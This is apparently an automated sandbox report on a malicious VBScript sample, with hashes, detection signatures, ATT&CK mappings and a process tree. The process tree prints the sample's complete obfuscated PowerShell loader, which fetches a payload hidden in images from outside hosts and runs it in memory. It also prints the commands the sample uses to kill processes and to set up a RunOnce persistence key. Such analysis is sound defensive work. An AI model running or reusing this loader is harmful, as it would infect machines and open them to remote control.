67b037dbae35e5cf8e46e76ac2e395ddcd604d6f73d08da7a854d4032dfde8e7

General

Target
67b037dbae35e5cf8e46e76ac2e395ddcd604d6f73d08da7a854d4032dfde8e7.vbs
Size 15KB
Sample251124-k6b4vswnhm
SHA256 67b037dbae35e5cf8e46e76ac2e395ddcd604d6f73d08da7a854d4032dfde8e7
MD5 210202fc19ec7e43345803b1d3537185
SHA1 4be2946e17ba286e96e754cfeacd0dc8d91a7618
SHA512 73703c0a5ea82de0a463db5a2e3eb0a6cf93993d3379eca43e247e3b8ff1e9fcb4dc2eb3d270616b6e4eeef7c8306c7d8b246a4972761338c5db4cefca107db5
SSDEEP 384:XCb8NVwh9ceWl0C5UEvnq2/xW0STWM61Z+wGpRh:XZNVOee6UECJWvDA
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5712	powershell.exe
4	5712	powershell.exe
5	5712	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1820	powershell.exe
4944	powershell.exe
5712	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\dflaShFdcf = "wscript.exe \"C:\\ProgramData\\wf34f.vbs\""	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4876	taskkill.exe
4152	taskkill.exe
4856	taskkill.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5712	powershell.exe
5712	powershell.exe
5712	powershell.exe
5712	powershell.exe
1820	powershell.exe
1820	powershell.exe
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	4152	taskkill.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	4944	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 5712	1948	WScript.exe	78
PID 1948 wrote to memory of 5712	1948	WScript.exe	78
PID 5712 wrote to memory of 1820	5712	powershell.exe	80
PID 5712 wrote to memory of 1820	5712	powershell.exe	80
PID 1820 wrote to memory of 5208	1820	powershell.exe	83
PID 1820 wrote to memory of 5208	1820	powershell.exe	83
PID 5208 wrote to memory of 4152	5208	cmd.exe	85
PID 5208 wrote to memory of 4152	5208	cmd.exe	85
PID 5208 wrote to memory of 4856	5208	cmd.exe	87
PID 5208 wrote to memory of 4856	5208	cmd.exe	87
PID 5208 wrote to memory of 4876	5208	cmd.exe	88
PID 5208 wrote to memory of 4876	5208	cmd.exe	88
PID 5712 wrote to memory of 4944	5712	powershell.exe	89
PID 5712 wrote to memory of 4944	5712	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\67b037dbae35e5cf8e46e76ac2e395ddcd604d6f73d08da7a854d4032dfde8e7.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dhfghfghdssigo ='IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AYQBoAGUAZABzAGEAbABhAGgAOAA4AC0AYwB5AGIAZQByAC8AZgBpAGwAZQAvADMAMABlAGEAMAA3AGQANQA2ADQAMAA0AGUAYwA1AGQAOQA3ADAANgAwAGMAYgA5ADcAMQA5AGEAYwBiADcANQA2AGIAMgBlAGQAMQBmADEALwBwAGkAYwAuAGoAcABnAD8AMQAyADcAMQAxADMANAAzACcAKQAsACAAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnAHYAh@gB2AHAAbQBzAGMAh@gB0AGwAaABjAGoAYgB5AGIAcgB3AGoAZwAuAHMAh@QBwAGEAYgBhAHMAZQAuAGMAbwAvAHMAh@ABvAHIAYQBnAGUALwB2ADEALwBvAGIAagBlAGMAh@AAvAHAAh@QBiAGwAaQBjAC8AcwB1AGQAbwAvAGkAbQBhAGcAZQAuAGoAcABnAD8AMQAyADcAMQAxADMANAAzACcAKQApADsACgAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAAkAGwAaQBuAGsAcwA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAh@AByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwAnACAAKwAgACcAUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAh@ABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsACgAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAFMAh@QBiAHMAh@AByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAh@ABoAGgAKQA7AAoAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAh@AAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAh@AAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAh@AAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAh@AAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQAKACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAh@ABUAHkAcABlACgAJwB0AGUAcwB0AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBIAG8AYQBhAGEAYQBhAGEAcwBkAG0AZQAnACkAOwAKACAAIAAgACAAIAAgACAAIABHAGUAh@AAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAh@AAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAh@AAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAh@AAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwAgAD0AIAAnAFIAZQBnACcAIAArACAAJwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGQAYQBvAGwAcAB1ADEAMQAzAC0AMAAuADIALgA3AC4AMQB2AGkAcgBvAC8Ah@QBlAC4Ah@ABpAGIAYgB1AGMALgAzAHMALgAyAHUAYgAtAG4AbwAvAC8AOgBzACcALAAgACcAMgAnACwAIAAnAHcAZgAzADQAZgAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAIAAsACAAJwB4ADgANgAnACkAKQB9AH0AOwAKAA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dhfghfghdssigo.replace('h@','d') ));iex $OWjuxD
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5208
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4152
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\wf34f.vbs' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ac518124d3bd39440bfba66739f8fab57ff82ea778f707ea2c902b29efde0ee0
MD5 7ff9440dc25523a288d278b38add13a1
SHA1 d67faf5afe85cacd9d816349f17ded3686ecf1a7
SHA512 7116fcf6760a69efebfbffeba5abcfef903cc8647e142117023e022bb34c5fe6d1a35c727faab1e6d6505b2bd69689cf52f8ecef5253ca12d99d425021799911
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_5jjuarqs.crz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5jjuarqs.crz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/5712-0-0x00000196A59E0000-0x00000196A59F0000-memory.dmp

Download

memory/5712-1-0x00000196A59E0000-0x00000196A59F0000-memory.dmp

Download

memory/5712-2-0x00000196A5930000-0x00000196A5952000-memory.dmp

Download

memory/5712-9-0x00000196A59E0000-0x00000196A59F0000-memory.dmp

Download

memory/5712-10-0x000001968D230000-0x000001968D24C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads